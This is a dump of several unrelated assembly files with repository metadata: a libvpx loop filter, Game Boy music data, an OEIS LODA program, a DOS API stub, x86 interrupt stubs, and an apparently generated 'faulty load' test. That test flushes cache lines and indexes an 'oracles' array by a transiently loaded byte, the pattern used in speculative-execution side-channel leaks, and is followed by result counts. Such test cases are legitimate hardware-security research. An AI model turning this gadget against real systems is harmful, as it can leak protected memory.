; write out order: xmm0 xmm2 xmm1 xmm3
lea rdx, [rsi + rax*4]
; transpose back to write out
; p1 f0 e0 d0 c0 b0 a0 90 80 70 60 50 40 30 20 10 00
; p0 f1 e1 d1 c1 b1 a1 91 81 71 61 51 41 31 21 11 01
; q0 f2 e2 d2 c2 b2 a2 92 82 72 62 52 42 32 22 12 02
; q1 f3 e3 d3 c3 b3 a3 93 83 73 63 53 43 33 23 13 03
movdqa xmm6, xmm0
punpcklbw xmm0, xmm1 ; 71 70 61 60 51 50 41 40 31 30 21 20 11 10 01 00
punpckhbw xmm6, xmm1 ; f1 f0 e1 e0 d1 d0 c1 c0 b1 b0 a1 a0 91 90 81 80
movdqa xmm5, xmm3
punpcklbw xmm3, xmm4 ; 73 72 63 62 53 52 43 42 33 32 23 22 13 12 03 02
punpckhbw xmm5, xmm4 ; f3 f2 e3 e2 d3 d2 c3 c2 b3 b2 a3 a2 93 92 83 82
movdqa xmm2, xmm0
punpcklwd xmm0, xmm3 ; 33 32 31 30 23 22 21 20 13 12 11 10 03 02 01 00
punpckhwd xmm2, xmm3 ; 73 72 71 70 63 62 61 60 53 52 51 50 43 42 41 40
movdqa xmm3, xmm6
punpcklwd xmm6, xmm5 ; b3 b2 b1 b0 a3 a2 a1 a0 93 92 91 90 83 82 81 80
punpckhwd xmm3, xmm5 ; f3 f2 f1 f0 e3 e2 e1 e0 d3 d2 d1 d0 c3 c2 c1 c0
movd [rsi], xmm6 ; write the second 8-line result
movd [rdx], xmm3
psrldq xmm6, 4
psrldq xmm3, 4
movd [rdi], xmm6
movd [rcx], xmm3
psrldq xmm6, 4
psrldq xmm3, 4
movd [rsi + rax*2], xmm6
movd [rdx + rax*2], xmm3
psrldq xmm6, 4
psrldq xmm3, 4
movd [rdi + rax*2], xmm6
movd [rcx + rax*2], xmm3
neg rax
lea rsi, [rsi + rax*8]
neg rax
lea rdi, [rsi + rax]
lea rdx, [rsi + rax*4]
lea rcx, [rdx + rax]
movd [rsi], xmm0 ; write the first 8-line result
movd [rdx], xmm2
psrldq xmm0, 4
psrldq xmm2, 4
movd [rdi], xmm0
movd [rcx], xmm2
psrldq xmm0, 4
psrldq xmm2, 4
movd [rsi + rax*2], xmm0
movd [rdx + rax*2], xmm2
psrldq xmm0, 4
psrldq xmm2, 4
movd [rdi + rax*2], xmm0
movd [rcx + rax*2], xmm2
add rsp, 32
pop rsp
; begin epilog
pop rdi
pop rsi
RESTORE_GOT
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
SECTION_RODATA
align 16
tfe:
times 16 db 0xfe
align 16
t80:
times 16 db 0x80
align 16
t1s:
times 16 db 0x01
align 16
t3:
times 16 db 0x03
align 16
t4:
times 16 db 0x04
align 16
ones:
times 8 dw 0x0001
align 16
s9:
times 8 dw 0x0900
align 16
s63:
times 8 dw 0x003f
align 16
te0:
times 16 db 0xe0
align 16
t1f:
times 16 db 0x1f
| 42.001824 | 116 | 0.395684 | [
"BSD-3-Clause"
] | louissong7912/SMP_libvpx | vp8/common/x86/loopfilter_sse2.asm | 69,093 | Assembly |
musicChan2FlandreTheme::
setRegisters $A5, $F4, $00, $00
.loop::
repeat 4
setFrequency NOTE_D * 2, $80
wait SEMIQUAVER
setFrequency NOTE_B, $80
wait SEMIQUAVER
setFrequency NOTE_F_SHARP, $80
wait SEMIQUAVER
setFrequency NOTE_D * 2, $80
wait SEMIQUAVER
setFrequency NOTE_B, $80
wait SEMIQUAVER
setFrequency NOTE_F_SHARP, $80
wait SEMIQUAVER
setFrequency NOTE_D * 2, $80
wait SEMIQUAVER
setFrequency NOTE_B, $80
wait SEMIQUAVER
setFrequency NOTE_F_SHARP, $80
wait SEMIQUAVER
setFrequency NOTE_D * 2, $80
wait SEMIQUAVER
setFrequency NOTE_B, $80
wait SEMIQUAVER
setFrequency NOTE_F_SHARP, $80
wait SEMIQUAVER
setFrequency NOTE_C_SHARP * 2, $80
wait DOTTED_QUAVER
setFrequency NOTE_C_SHARP * 2, $80
wait DOTTED_QUAVER
setFrequency NOTE_C_SHARP * 2, $80
wait QUAVER
setFrequency NOTE_D * 2, $80
wait SEMIQUAVER
setFrequency NOTE_B, $80
wait SEMIQUAVER
setFrequency NOTE_F_SHARP, $80
wait SEMIQUAVER
setFrequency NOTE_D * 2, $80
wait SEMIQUAVER
setFrequency NOTE_B, $80
wait SEMIQUAVER
setFrequency NOTE_F_SHARP, $80
wait SEMIQUAVER
setFrequency NOTE_D * 2, $80
wait SEMIQUAVER
setFrequency NOTE_B, $80
wait SEMIQUAVER
setFrequency NOTE_F_SHARP, $80
wait SEMIQUAVER
setFrequency NOTE_D * 2, $80
wait SEMIQUAVER
setFrequency NOTE_B, $80
wait SEMIQUAVER
setFrequency NOTE_F_SHARP, $80
wait SEMIQUAVER
setFrequency NOTE_E * 2, $80
wait DOTTED_QUAVER
setFrequency NOTE_E * 2, $80
wait DOTTED_QUAVER
setFrequency NOTE_E * 2, $80
wait QUAVER
continue
setFrequency NOTE_F_SHARP, $80
wait CROTCHET
setFrequency NOTE_D, $80
wait CROTCHET
setFrequency NOTE_F, $80
wait CROTCHET
setFrequency NOTE_Db, $80
wait CROTCHET
setFrequency NOTE_Ab, $80
wait CROTCHET
setFrequency NOTE_F, $80
wait CROTCHET
setFrequency NOTE_E, $80
wait CROTCHET
setFrequency NOTE_G, $80
wait CROTCHET
setFrequency NOTE_F_SHARP, $80
wait CROTCHET
setFrequency NOTE_D, $80
wait CROTCHET
setFrequency NOTE_F, $80
wait CROTCHET
setFrequency NOTE_Db, $80
wait CROTCHET
setFrequency NOTE_Ab, $80
wait CROTCHET
setFrequency NOTE_F, $80
wait CROTCHET
setFrequency NOTE_E, $80
wait MINIM
setFrequency NOTE_F_SHARP, $80
wait CROTCHET
setFrequency NOTE_D, $80
wait CROTCHET
setFrequency NOTE_F, $80
wait CROTCHET
setFrequency NOTE_Db, $80
wait CROTCHET
setFrequency NOTE_Ab, $80
wait CROTCHET
setFrequency NOTE_F, $80
wait CROTCHET
setFrequency NOTE_E, $80
wait CROTCHET
setFrequency NOTE_G, $80
wait CROTCHET
setFrequency NOTE_F_SHARP, $80
wait CROTCHET
setFrequency NOTE_D, $80
wait CROTCHET
setFrequency NOTE_F, $80
wait CROTCHET
setFrequency NOTE_Db, $80
wait CROTCHET
setFrequency NOTE_Ab * 2, $80
wait CROTCHET
setFrequency NOTE_F * 2, $80
wait CROTCHET
setFrequency NOTE_E * 2, $80
wait MINIM
; 17
repeat 2
setFrequency NOTE_B, $80
wait CROTCHET
setFrequency NOTE_F_SHARP * 2, $80
wait CROTCHET
setFrequency NOTE_C_SHARP * 2, $80
wait CROTCHET
setFrequency NOTE_F_SHARP * 2, $80
wait CROTCHET
setFrequency NOTE_D * 2, $80
wait CROTCHET
setFrequency NOTE_E * 2, $80
wait QUAVER
setFrequency NOTE_F_SHARP * 2, $80
wait QUAVER
setFrequency NOTE_E * 2, $80
wait CROTCHET
setFrequency NOTE_G_SHARP * 2, $80
wait CROTCHET
setFrequency NOTE_B * 2, $80
wait QUAVER
setFrequency NOTE_F_SHARP * 2, $80
wait QUAVER
setFrequency NOTE_C_SHARP * 4, $80
wait QUAVER
setFrequency NOTE_D * 4, $80
wait QUAVER
setFrequency NOTE_C_SHARP * 4, $80
wait QUAVER
setFrequency NOTE_D * 4, $80
wait SEMIQUAVER
setFrequency NOTE_C_SHARP * 4, $80
wait SEMIQUAVER
setFrequency NOTE_B * 2, $80
wait QUAVER
setFrequency NOTE_A * 2, $80
wait QUAVER
setFrequency NOTE_F_SHARP * 2, $80
wait QUAVER
setFrequency NOTE_A * 2, $80
wait QUAVER
setFrequency NOTE_E * 2, $80
wait QUAVER
setFrequency NOTE_F_SHARP * 2, $80
wait QUAVER
setFrequency NOTE_D * 2, $80
wait MINIM
; 21
setFrequency NOTE_B, $80
wait CROTCHET
setFrequency NOTE_F_SHARP * 2, $80
wait CROTCHET
setFrequency NOTE_C_SHARP * 2, $80
wait CROTCHET
setFrequency NOTE_F_SHARP * 2, $80
wait CROTCHET
setFrequency NOTE_D * 2, $80
wait CROTCHET
setFrequency NOTE_E * 2, $80
wait QUAVER
setFrequency NOTE_F_SHARP * 2, $80
wait QUAVER
setFrequency NOTE_E * 2, $80
wait CROTCHET
setFrequency NOTE_G_SHARP * 2, $80
wait CROTCHET
setFrequency NOTE_B * 2, $80
wait QUAVER
setFrequency NOTE_F_SHARP * 2, $80
wait QUAVER
setFrequency NOTE_C_SHARP * 4, $80
wait QUAVER
setFrequency NOTE_D * 4, $80
wait QUAVER
setFrequency NOTE_C_SHARP * 4, $80
wait QUAVER
setFrequency NOTE_D * 4, $80
wait SEMIQUAVER
setFrequency NOTE_C_SHARP * 4, $80
wait SEMIQUAVER
setFrequency NOTE_B * 2, $80
wait QUAVER
setFrequency NOTE_A * 2, $80
wait QUAVER
setFrequency NOTE_B * 2, $80
wait SEMIBREVE
continue
repeat 8
setFrequency NOTE_B, $80
wait QUAVER3
setFrequency NOTE_F_SHARP, $80
wait QUAVER3
setFrequency NOTE_E, $80
wait QUAVER3
continue
repeat 10
setFrequency NOTE_A_SHARP, $80
wait QUAVER3
setFrequency NOTE_F_SHARP, $80
wait QUAVER3
setFrequency NOTE_D_SHARP, $80
wait QUAVER3
continue
repeat 2
setFrequency NOTE_G_SHARP, $80
wait QUAVER3
setFrequency NOTE_E_SHARP, $80
wait QUAVER3
setFrequency NOTE_C_SHARP, $80
wait QUAVER3
continue
setFrequency NOTE_F_SHARP, $80
wait QUAVER3
setFrequency NOTE_D_SHARP, $80
wait QUAVER3
setFrequency NOTE_A_SHARP / 2, $80
wait QUAVER3
setFrequency NOTE_E_SHARP, $80
wait QUAVER3
setFrequency NOTE_F_SHARP, $80
wait QUAVER3
setFrequency NOTE_G_SHARP, $80
wait QUAVER3
setFrequency NOTE_D_SHARP, $80
wait DOTTED_CROTCHET
setFrequency NOTE_A_SHARP / 2, $80
wait SEMIQUAVER
setFrequency NOTE_C_SHARP, $80
wait SEMIQUAVER
repeat 2
setFrequency NOTE_D_SHARP, $80
wait QUAVER3
setFrequency NOTE_A_SHARP / 2, $80
wait QUAVER3
setFrequency NOTE_F_SHARP / 2, $80
wait QUAVER3
continue
repeat 2
setFrequency NOTE_E_SHARP, $80
wait QUAVER3
setFrequency NOTE_C_SHARP, $80
wait QUAVER3
setFrequency NOTE_G_SHARP / 2, $80
wait QUAVER3
continue
setFrequency NOTE_E_SHARP, $80
wait QUAVER3
setFrequency NOTE_D, $80
wait QUAVER3
setFrequency NOTE_G_SHARP / 2, $80
wait QUAVER3
setFrequency NOTE_E_SHARP, $80
wait QUAVER3
setFrequency NOTE_F_SHARP, $80
wait QUAVER3
setFrequency NOTE_G_SHARP, $80
wait QUAVER3
setFrequency NOTE_A_SHARP, $80
wait MINIM
repeat 2
setFrequency NOTE_A_SHARP, $80
wait QUAVER3
setFrequency NOTE_F_SHARP, $80
wait QUAVER3
setFrequency NOTE_D_SHARP, $80
wait QUAVER3
continue
repeat 2
setFrequency NOTE_G_SHARP, $80
wait QUAVER3
setFrequency NOTE_E_SHARP, $80
wait QUAVER3
setFrequency NOTE_C_SHARP, $80
wait QUAVER3
continue
setFrequency NOTE_F_SHARP, $80
wait QUAVER3
setFrequency NOTE_D_SHARP, $80
wait QUAVER3
setFrequency NOTE_A_SHARP / 2, $80
wait QUAVER3
setFrequency NOTE_E_SHARP, $80
wait QUAVER3
setFrequency NOTE_F_SHARP, $80
wait QUAVER3
setFrequency NOTE_G_SHARP, $80
wait QUAVER3
setFrequency NOTE_D_SHARP, $80
wait DOTTED_CROTCHET
setFrequency NOTE_A_SHARP / 2, $80
wait SEMIQUAVER
setFrequency NOTE_C_SHARP, $80
wait SEMIQUAVER
repeat 2
setFrequency NOTE_D_SHARP, $80
wait QUAVER3
setFrequency NOTE_A_SHARP / 2, $80
wait QUAVER3
setFrequency NOTE_F_SHARP / 2, $80
wait QUAVER3
continue
repeat 2
setFrequency NOTE_E_SHARP, $80
wait QUAVER3
setFrequency NOTE_C_SHARP, $80
wait QUAVER3
setFrequency NOTE_G_SHARP / 2, $80
wait QUAVER3
continue
repeat 2
setFrequency NOTE_E_SHARP, $80
wait QUAVER3
setFrequency NOTE_D, $80
wait QUAVER3
setFrequency NOTE_G_SHARP / 2, $80
wait QUAVER3
continue
setFrequency NOTE_A_SHARP, $80
wait DOTTED_QUAVER
setFrequency NOTE_A_SHARP, $80
wait DOTTED_QUAVER
setFrequency NOTE_A_SHARP, $80
wait QUAVER
setFrequency NOTE_D * 2, $80
wait MINIM
setFrequency NOTE_Db * 2, $80
wait MINIM
setFrequency NOTE_F * 2, $80
wait MINIM
setFrequency NOTE_E * 2, $80
wait MINIM
repeat 3
wait QUAVER
setFrequency NOTE_D, $80
wait CROTCHET
setFrequency NOTE_D, $80
wait CROTCHET
setFrequency NOTE_Db, $80
wait CROTCHET
setFrequency NOTE_Db, $80
wait CROTCHET
setFrequency NOTE_F, $80
wait CROTCHET
setFrequency NOTE_F, $80
wait CROTCHET
setFrequency NOTE_E, $80
wait CROTCHET
setFrequency NOTE_E, $80
wait QUAVER
continue
; 45
setFrequency NOTE_F_SHARP, $80
wait CROTCHET
setFrequency NOTE_D, $80
wait CROTCHET
setFrequency NOTE_F, $80
wait CROTCHET
setFrequency NOTE_Db, $80
wait CROTCHET
setFrequency NOTE_Ab, $80
wait CROTCHET
setFrequency NOTE_F, $80
wait CROTCHET
setFrequency NOTE_E, $80
wait CROTCHET
setFrequency NOTE_G, $80
wait CROTCHET
setFrequency NOTE_F_SHARP, $80
wait CROTCHET
setFrequency NOTE_D, $80
wait CROTCHET
setFrequency NOTE_F, $80
wait CROTCHET
setFrequency NOTE_Db, $80
wait CROTCHET
setFrequency NOTE_Ab, $80
wait CROTCHET
setFrequency NOTE_F, $80
wait CROTCHET
setFrequency NOTE_E, $80
wait MINIM
setFrequency NOTE_F_SHARP, $80
wait CROTCHET
setFrequency NOTE_D, $80
wait CROTCHET
setFrequency NOTE_F, $80
wait CROTCHET
setFrequency NOTE_Db, $80
wait CROTCHET
setFrequency NOTE_Ab, $80
wait CROTCHET
setFrequency NOTE_F, $80
wait CROTCHET
setFrequency NOTE_E, $80
wait CROTCHET
setFrequency NOTE_G, $80
wait CROTCHET
setFrequency NOTE_F_SHARP, $80
wait CROTCHET
setFrequency NOTE_D, $80
wait CROTCHET
setFrequency NOTE_F, $80
wait CROTCHET
setFrequency NOTE_Db, $80
wait CROTCHET
setFrequency NOTE_Ab * 2, $80
wait CROTCHET
setFrequency NOTE_F * 2, $80
wait CROTCHET
setFrequency NOTE_E * 2, $80
wait MINIM
; 53
wait MINIM
repeat 2
setFrequency NOTE_B, $80
wait CROTCHET
setFrequency NOTE_F_SHARP * 2, $80
wait CROTCHET
setFrequency NOTE_C_SHARP * 2, $80
wait CROTCHET
setFrequency NOTE_F_SHARP * 2, $80
wait CROTCHET
setFrequency NOTE_D * 2, $80
wait CROTCHET
setFrequency NOTE_E * 2, $80
wait QUAVER
setFrequency NOTE_F_SHARP * 2, $80
wait QUAVER
setFrequency NOTE_E * 2, $80
wait CROTCHET
setFrequency NOTE_G_SHARP * 2, $80
wait CROTCHET
setFrequency NOTE_B * 2, $80
wait QUAVER
setFrequency NOTE_F_SHARP * 2, $80
wait QUAVER
setFrequency NOTE_C_SHARP * 4, $80
wait QUAVER
setFrequency NOTE_D * 4, $80
wait QUAVER
setFrequency NOTE_C_SHARP * 4, $80
wait QUAVER
setFrequency NOTE_D * 4, $80
wait SEMIQUAVER
setFrequency NOTE_C_SHARP * 4, $80
wait SEMIQUAVER
setFrequency NOTE_B * 2, $80
wait QUAVER
setFrequency NOTE_A * 2, $80
wait QUAVER
setFrequency NOTE_F_SHARP * 2, $80
wait QUAVER
setFrequency NOTE_A * 2, $80
wait QUAVER
setFrequency NOTE_E * 2, $80
wait QUAVER
setFrequency NOTE_F_SHARP * 2, $80
wait QUAVER
setFrequency NOTE_D * 2, $80
wait MINIM
setFrequency NOTE_B, $80
wait CROTCHET
setFrequency NOTE_F_SHARP * 2, $80
wait CROTCHET
setFrequency NOTE_C_SHARP * 2, $80
wait CROTCHET
setFrequency NOTE_F_SHARP * 2, $80
wait CROTCHET
setFrequency NOTE_D * 2, $80
wait CROTCHET
setFrequency NOTE_E * 2, $80
wait QUAVER
setFrequency NOTE_F_SHARP * 2, $80
wait QUAVER
setFrequency NOTE_E * 2, $80
wait CROTCHET
setFrequency NOTE_G_SHARP * 2, $80
wait CROTCHET
setFrequency NOTE_B * 2, $80
wait QUAVER
setFrequency NOTE_F_SHARP * 2, $80
wait QUAVER
setFrequency NOTE_C_SHARP * 4, $80
wait QUAVER
setFrequency NOTE_D * 4, $80
wait QUAVER
setFrequency NOTE_C_SHARP * 4, $80
wait QUAVER
setFrequency NOTE_D * 4, $80
wait SEMIQUAVER
setFrequency NOTE_C_SHARP * 4, $80
wait SEMIQUAVER
setFrequency NOTE_B * 2, $80
wait QUAVER
setFrequency NOTE_A * 2, $80
wait QUAVER
setFrequency NOTE_B * 2, $80
wait SEMIBREVE
continue
stopMusic
jump .loop | 20.092014 | 35 | 0.765834 | [
"MIT"
] | Gegel85/RemiFlap | src/sound/un_owen_was_her/channel2.asm | 11,573 | Assembly |
; A031378: a(n) = prime(4*n - 2).
; Submitted by Jon Maiga
; 3,13,29,43,61,79,101,113,139,163,181,199,229,251,271,293,317,349,373,397,421,443,463,491,521,557,577,601,619,647,673,701,733,757,787,821,839,863,887,929,953,983,1013,1033,1061,1091,1109,1151,1181,1213,1231,1277,1291,1307,1361,1399,1429,1451,1481,1493,1531,1559,1583,1609,1627,1667,1699,1733,1759,1789,1831,1871,1889,1931,1973,1997,2017,2053,2083,2111,2137,2161,2213,2243,2273,2297,2339,2357,2383,2411,2441,2473,2531,2551,2593,2633,2663,2687,2707,2729
mov $2,36
mul $2,$0
mul $0,4
mov $4,2
lpb $2
mov $3,$4
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
mov $1,$0
max $1,0
cmp $1,$0
mul $2,$1
sub $2,1
add $4,2
lpe
mov $0,$4
add $0,1
| 34.136364 | 452 | 0.69241 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/031/A031378.asm | 751 | Assembly |
;/*!
; @file
;
; @ingroup fapi
;
; @brief DosCLIAccess DOS wrapper
;
; (c) osFree Project 2018, <http://www.osFree.org>
; for licence see licence.txt in root directory, or project website
;
; This is Family API implementation for DOS, used with BIND tools
; to link required API
;
; @author Yuri Prokushev ([email protected])
;
;
;
;*/
.8086
; Helpers
INCLUDE HELPERS.INC
_TEXT SEGMENT BYTE PUBLIC 'CODE' USE16
@PROLOG DOSCLIACCESS
@START DOSCLIACCESS
XOR AX, AX
EXIT:
@EPILOG DOSCLIACCESS
_TEXT ENDS
END
| 14.891892 | 69 | 0.678766 | [
"BSD-3-Clause"
] | prokushev/FamilyAPI | dos/DosCLIAccess.asm | 551 | Assembly |
.data
.text
jmp @main
main:
sw $0 0[$ebp]
sw $0 4[$ebp]
sw $0 8[$ebp]
ld $8 0x0003
sw $8 4[$ebp]
popw $0
popw $0
popw $0
ld $v0 0x0002
syscall
| 9.533333 | 13 | 0.615385 | [
"MIT"
] | dalloriam/slang | argot/tests/data/var_decl.asm | 143 | Assembly |
; A006584: If n mod 2 = 0 then n*(n^2-4)/12 else n*(n^2-1)/12.
; 0,0,0,2,4,10,16,28,40,60,80,110,140,182,224,280,336,408,480,570,660,770,880,1012,1144,1300,1456,1638,1820,2030,2240,2480,2720,2992,3264,3570,3876,4218,4560,4940,5320
mov $1,$0
pow $1,2
sub $1,1
mov $2,$1
div $2,4
mul $0,$2
div $0,6
mul $0,2
| 25.583333 | 167 | 0.651466 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/006/A006584.asm | 307 | Assembly |
bits 32
section .text
extern isr_prehandler
%macro EXC_CODELESS 1
global isr%1
isr%1:
cli
push 0x00 ; Dummy error code
push %1 ; Interrupt number
jmp isr_prehandler ; Call first stage interrupt handler
%endmacro
%macro EXC_CODE 1
global isr%1
isr%1:
cli
; Error code pushed automatically
push %1 ; Interrupt number
jmp isr_prehandler ; Call first stage interrupt handler
%endmacro
EXC_CODELESS 0
EXC_CODELESS 1
EXC_CODELESS 2
EXC_CODELESS 3
EXC_CODELESS 4
EXC_CODELESS 5
EXC_CODELESS 6
EXC_CODELESS 7
EXC_CODE 8
EXC_CODELESS 9
EXC_CODE 10
EXC_CODE 11
EXC_CODE 12
EXC_CODE 13
EXC_CODE 14
EXC_CODELESS 15
EXC_CODELESS 16
EXC_CODELESS 17
EXC_CODELESS 18
EXC_CODELESS 19
EXC_CODELESS 20
EXC_CODELESS 21
EXC_CODELESS 22
EXC_CODELESS 23
EXC_CODELESS 24
EXC_CODELESS 25
EXC_CODELESS 26
EXC_CODELESS 27
EXC_CODELESS 28
EXC_CODELESS 29
EXC_CODELESS 30
EXC_CODELESS 31
%macro IRQ 1
global isr%1
isr%1:
cli
push byte 0x00
push byte %1
jmp isr_prehandler ; Call first stage interrupt handler
%endmacro
IRQ 32
IRQ 33
IRQ 34
IRQ 35
IRQ 36
IRQ 37
IRQ 38
IRQ 39
IRQ 40
IRQ 41
IRQ 42
IRQ 43
IRQ 44
IRQ 45
IRQ 46
IRQ 47 | 12.5 | 57 | 0.749167 | [
"MIT"
] | 0x1C1B/jatos | arch/x86/src/cpu/isr/interrupt.asm | 1,200 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r14
push %r15
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xf40c, %r14
nop
nop
nop
cmp $65365, %r8
mov $0x6162636465666768, %r11
movq %r11, %xmm2
vmovups %ymm2, (%r14)
and %rcx, %rcx
lea addresses_D_ht+0x584c, %r12
add %r13, %r13
mov $0x6162636465666768, %r15
movq %r15, %xmm7
vmovups %ymm7, (%r12)
nop
nop
nop
add %r13, %r13
lea addresses_UC_ht+0x6a0c, %rcx
clflush (%rcx)
nop
nop
nop
nop
xor %r13, %r13
movb $0x61, (%rcx)
nop
nop
nop
nop
inc %r13
lea addresses_A_ht+0x90c, %r15
nop
nop
nop
sub $4811, %rcx
movb $0x61, (%r15)
nop
nop
nop
inc %rcx
lea addresses_UC_ht+0x770c, %rsi
lea addresses_D_ht+0x1e0c, %rdi
clflush (%rsi)
clflush (%rdi)
sub %r15, %r15
mov $9, %rcx
rep movsw
cmp $32122, %r15
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
// REPMOV
mov $0x70c, %rsi
lea addresses_D+0x520c, %rdi
nop
nop
nop
nop
and $9086, %rbp
mov $85, %rcx
rep movsb
nop
nop
nop
add $46504, %rsi
// Load
lea addresses_WT+0xe10c, %r13
clflush (%r13)
sub $35029, %r8
vmovups (%r13), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %r11
inc %rcx
// Store
lea addresses_WT+0x6be8, %rdi
clflush (%rdi)
nop
nop
nop
nop
add $58534, %r13
movw $0x5152, (%rdi)
and %rcx, %rcx
// Faulty Load
lea addresses_A+0x14a0c, %rdi
nop
nop
nop
sub $29786, %rcx
vmovaps (%rdi), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %rsi
lea oracles, %r8
and $0xff, %rsi
shlq $12, %rsi
mov (%r8,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 7, 'type': 'addresses_P'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_D'}}
{'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_WT', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_WT', 'AVXalign': False, 'size': 2}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': True, 'size': 32}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 10, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1}}
{'src': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}}
{'d6': 1, '46': 3, '05': 5, '0d': 1, 'd4': 31, '70': 72, '40': 149, '85': 9, '56': 2, 'ff': 240, 'ee': 1, '61': 1, 'e7': 24, 'd1': 1, '91': 2, '00': 20959, '31': 4, '42': 133, 'e3': 2, '43': 1, 'e9': 3, '81': 1, '26': 5, 'c3': 3, '7e': 3, 'b6': 9, '2a': 3, '8b': 3, '71': 8, 'b7': 28, 'db': 2, 'b4': 37, '08': 17, 'c7': 3, '73': 3, '37': 4, '94': 2, 'd0': 2, 'f4': 2, '30': 24, 'fd': 26}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 00 00 00 00 42 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 00 00 00 ff 00 00 00 00 b7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 00 00 ff 00 ff 00 00 00 00 00 00 00 00 ff 00 00 00 00 00 00 00 00 70 00 00 db 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 00 00 00 00 00 00 70 00 00 00 00 00 00 70 00 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 db 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 